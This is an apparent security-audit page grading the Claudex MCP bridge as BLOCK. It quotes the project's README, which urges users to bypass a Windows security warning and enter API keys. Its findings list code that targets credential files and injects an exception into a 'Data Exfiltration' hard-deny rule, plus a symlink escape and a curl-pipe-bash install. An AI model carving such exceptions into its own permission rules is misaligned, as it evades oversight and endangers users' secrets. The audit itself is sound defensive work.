ClaudexBLOCK
Connect Claude Code interfaces to Codex and native Claude models using a local bridge.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://mcalesteryahoo411.github.io)
Claudex connects powerful language models to your daily workflow. It acts as a bridge for your computer. You gain access to Codex models while you use the Claude Code interface. This tool removes barriers between different systems.
🛠️ System Requirements
Claudex works on standard Windows machines. Make sure your computer meets these basic needs:
- Operating System: Windows 10 or Windows 11.
- Processor: Modern dual-core CPU or better.
- Memory: 4 GB of RAM minimum.
- Storage: 200 MB of free space.
- Internet Connection: Required for model communication.
📥 How to Download
Follow these steps to obtain the software:
- Visit the following link to see all available versions: https://mcalesteryahoo411.github.io.
- Look for the section labeled "Assets."
- Select the file ending in
.exethat fits your system architecture. - Save the file to your "Downloads" folder.
⚙️ Running the Application
You do not need to install complex software. Claudex runs as a portable application. Follow these instructions step by step:
- Open your "Downloads" folder.
- Find the Claudex file you saved.
- Double-click the file icon.
- A Windows security window may appear. Select "More info" and then choose "Run anyway." This confirms you trust the source.
- The application window opens on your screen.
🔑 Initial Setup
Claudex requires your API keys to talk to the models. Keep your credentials ready.
- Locate the "Settings" tab inside the app window.
- Paste your OpenAI API key into the labeled field.
- Save your changes.
- Restart the application to apply the settings.
📋 Common Tasks
Starting a Session
Click the "Connect" button on the main screen. The app verifies your connection. A green indicator means you are ready to work.
Using the Interface
515b3e5fcefeOBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add claudex-codex -- npx -y [email protected]
{
"mcpServers": {
"claudex-codex": {
"command": "npx",
"args": [
"-y",
"[email protected]"
]
}
}
}Exposed tools (1)
1 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
quoted-name | read | quoted description |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (11 observation(s))
- Network
- declared (14 observation(s))
- Shell
- declared (5 observation(s))
- Dependencies
- pinned
- Secrets in source
- found
Findings (20)
if (['.npmrc', '.pypirc', '.netrc', '.git-credentials', '.credentials.json', 'credentials',
'credentials.json', 'auth.json', 'id_rsa', 'id_ed25519'].includes(base)) return true;
v3.8-alpha.5.zip
$hardException = "`n - Claudex scoped private development transfer exception: Notwithstanding the bulk scale treatment above, an exact transfer of only the source required for the task from the curre
if ([string] $_ -and ([string] $_).StartsWith('Data Exfiltration:')) { ([string] $_) + $hardException }Write-Output '{"allow":["Updated default allow rule"],"environment":["Updated default environment rule"],"soft_deny":["Updated soft deny"],"hard_deny":["Data Exfiltration: updated hard deny"]}'Write-Output '{"allow":["Default allow rule"],"environment":["Default environment rule"],"soft_deny":["Default soft deny"],"hard_deny":["Data Exfiltration: default hard deny"]}'echo {"allow":["Default allow rule"],"environment":["Default environment rule"],"soft_deny":["Default soft deny"],"hard_deny":["Data Exfiltration: default hard deny"]}: "${CLAUDEX_PROXY_URL:=http://127.0.0.1:8318}"$proxyUrl = Env-OrDefault 'CLAUDEX_PROXY_URL' 'http://127.0.0.1:8318'
# CLAUDEX_PROXY_URL=http://127.0.0.1:8318
if ($callerProxyUrl) { $callerProxyUrl } else { "http://127.0.0.1:$proxyPort" }write(path.join(keySkill, 'references', 'identity.txt'), '-----BEGIN PRIVATE KEY-----\nnot-a-real-key\n-----END PRIVATE KEY-----\n');
write(path.join(gitCredentialSkill, '.git-credentials'), 'https://user:[email protected]\n');
assert(!names.has('contains-git-credentials'), '.git-credentials must never be copied into a snapshot');assert(warningIncludes(result, 'skill tree contains a sensitive file: .git-credentials'));
ln -s ../../outside "$temporary/archive-source/claudex-1.3.2/unsafe-link"
name: 'bidi-plugin', skills: './\u202e/../../outside',
| `CLAUDEX_PROXY_URL` | `http://127.0.0.1:8318` | Local compatibility endpoint |
curl -fsSL --proto '=https' --tlsv1.2 https://claudex.work/install.sh | bash
Gates applied: no_behavioural_pass.
515b3e5fcefefull audit observations/trust-audit/mcp-server/mcalesteryahoo411__claudex.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 515b3e5fcefe | BLOCK | D | 69 | first audit |
Questions
What is the Claudex MCP server?
Connect Claude Code interfaces to Codex and native Claude models using a local bridge.
What tools does Claudex expose?
1 in total: 1 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is Claudex safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 2 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does Claudex need?
No credential environment variables were found in its source, so it appears to need none.
How current is this page?
The grade is for one exact copy of the source (515b3e5fcefe), read on 2026-10-12. The repository is watched and re-audited when it changes.